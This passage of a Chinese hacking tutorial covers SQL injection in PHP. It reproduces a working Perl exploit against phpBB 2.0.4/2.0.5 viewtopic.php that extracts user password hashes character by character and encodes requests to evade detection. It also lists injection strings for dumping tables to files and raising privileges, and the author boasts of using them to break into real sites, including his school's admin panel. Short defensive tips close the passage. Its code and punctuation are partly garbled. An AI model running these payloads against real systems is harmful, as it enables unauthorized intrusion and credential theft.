跑題了...).還是言規正傳,其實在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數就好了.將asc改成ASCII,len
改成LENGTH,其他函數基本不變了.其實大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢不錯,俗話說樹大招分,像動網這樣的論壇在
asp界就該是漏洞這王了,這並不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發現的安全漏洞也就越多了.PHPBB也
是一樣的,現在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發現漏洞
,到現在最近的phpBB 2.0.6版本的groupcp.php,以及之前發現的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧.
這也一直導致,一部分人在研究php漏洞的時候都會拿它做實驗品,所謂百練成精嘛,相信以後的PHPBB會越來越好.
好了,我們還是來分析一下漏洞產生的原因吧.拿viewtopic.php頁面來說,由於在調用viewtopic.php時,直接從GET請求中獲得topic_id並
傳遞給SQL查詢命令,而並沒有進行一些過濾的處理,攻擊者可以提交特殊的SQL字元串用於獲得MD5密碼,獲得此密碼信息可以用於自動登錄或者
進行暴力破解。(我想應該不會有人想去暴力破解吧,除非有特別重要的原因).先看一下相關源代碼
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
從上面我們可以看出,如果提交的view=newest並且sid設置了值的話,執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議
你看了再對著這里來看,受影響系統為phpBB 2.0.5和phpBB 2.0.4).
# $sql = SELECT p.post_id
# FROM . POSTS_TABLE . p, . SESSIONS_TABLE . s, . USERS_TABLE . u
# WHERE s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time = u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1;
Rick提供了下面的這斷測試代碼
use IOSocket;
$remote = shift 'localhost';
$view_topic = shift 'phpBB2viewtopic.php';
$uid = shift 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 or pgsql
print Trying to get password hash for uid $uid server $remote dbtype $dbtypen;
$p = ;
for($index=1; $index=32; $index++)
{
$socket = IOSocketINET-new(PeerAddr = $remote,
PeerPort = $port,
Proto = tcp,
Type = SOCK_STREAM)
or die Couldnt connect to $remote$port [email=$@n]$@n[/email];
$str = GET $view_topic . sid=1&topic_id=-1 . random_encode(make_dbsql()) . &view=newest . HTTP1.0nn;
print $socket $str;
print $socket Cookie phpBB2mysql_sid=1n; # replace this for pgsql or remove it
print $socket Host $remotenn;
while ($answer = $socket)
{
if ($answer =~ location.x23(d+)) # Matches the location viewtopic.phpp=num#num
{
$p .= chr ($1);
}
}
close($socket);
}
print nMD5 Hash for uid $uid is $pn;
# random encode str. helps avoid detection
sub random_encode
{
$str = shift;
$ret = ;
for($i=0; $ilength($str); $i++)
{
$c = substr($str,$i,1);
$j = rand length($str) 1000;
if (int($j) % 2 $c eq ' ')
{
$ret .= % . sprintf(%x,ord($c));
}
else
{
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return union select ord(substring(user_password, . $index . ,1)) from phpbb_users where user_id=$uid ;
} elsif ($dbtype eq 'pgsql')
{
return ; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users
u where u.user_id=$uid or false;
}
else
{
return ;
}
}
這斷代碼,我就不多做解釋了.作用是獲得HASH值.
看到這里,大家可能有點疑問,為什麼我前面講的那些改的函數怎麼沒有用到,我講出來不怕大家笑話其實網上很多站點有些頁面的查詢語句
看起來會是這樣
display.phpsqlsave=select++from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,這是真的,我還靠這個進過幾個大型網站.至於哪一些,不好講出來,不過我們學校的網站,我就是靠這個進後台的(希望學校網路中心的看
不到這篇文章,^_^).把前面那函數用上吧.不然你只有改人家的密碼了哦!!!
差點忘了一點,在SQL注入的時候,PHP與ASP有所不同,MySQL對sql語句的運用沒有mssql靈活,因此,很多在mssql上可以用的查詢語句在mysql
資料庫中都不能奏效了. 一般我們常見的注入語句像這樣aaa.phpid=a' into outfile 'pass.txt或是aaa.phpid=a' into outfile 'pass.txt'
再進一步可以改成aaa.phpid=a' or 1=1 union select id,name,password form users into outfile 'ca.txt
這樣可以將資料庫數據導出為文件,然後可以查看.
或是這樣mode=',user_level='4
這個語句一般用在修改資料時,假設頁面存在漏洞的話,就可以達到提升許可權的做用.
其它的如' OR 1=1 -- 或者1' or 1='1則跟asp差不多.這里不多講了.在php裡面,SQL注入看來還是漏洞之首啊,有太多的頁面存在這個問題了.
其實大家可以看出來,上面那些分類歸根結底只有一個原因提交參數沒過濾或是過濾不夠嚴謹.黑客防線向來有攻有守.這里,就大致講一下
防範的方法吧.
首先,我個人認為最重要的一點是將magic_quotes_gpc高為ON,它的作用是將單引號,雙引號,反斜線,和空字元轉換為含有反斜線的字元,如
select from admin where username='$username' and password='$password'語句,攻擊者想用1' or 1='1跳過驗證,但是,那些字元串將被轉
換成這樣select from admin where username='a' and password='1' or 1='1'從而達到阻止注入的目的,事實也就是自動進行了addslashes
()操作.再不行的話,自己定義函數處理吧.現在看來,那些搞PHP注入的人也比較郁悶,因為myslq4以下版本不支持子語句,而新版本的mysql又會
將magic_quotes_gpc選項默認為開.
解決包含文件漏洞用的方法就是要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕
對不能由用戶任意指定,建議設global_variables為off。如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要
關閉PHP的遠程文件打開功能。修改php.ini文件:allow_url_fopen = Off(注參見PHP安全問題:遠程溢出、DoS、safe_mode繞過漏洞).
還有一點我覺得很多網站都會有這個問題,就是沒有關錯誤顯示.輕一看可能沒什麼,但是一些盯了很久(用詞有點不對哦)的人就可以通過錯
誤提示來獲得如資料庫信息,網頁文件物理路徑等等.
『拾』 關於目錄遍歷漏洞
這只是你的web伺服器允許了目錄列表。
提供具體的伺服器類型(IIS?Apache?)和版本,告訴你怎麼配置。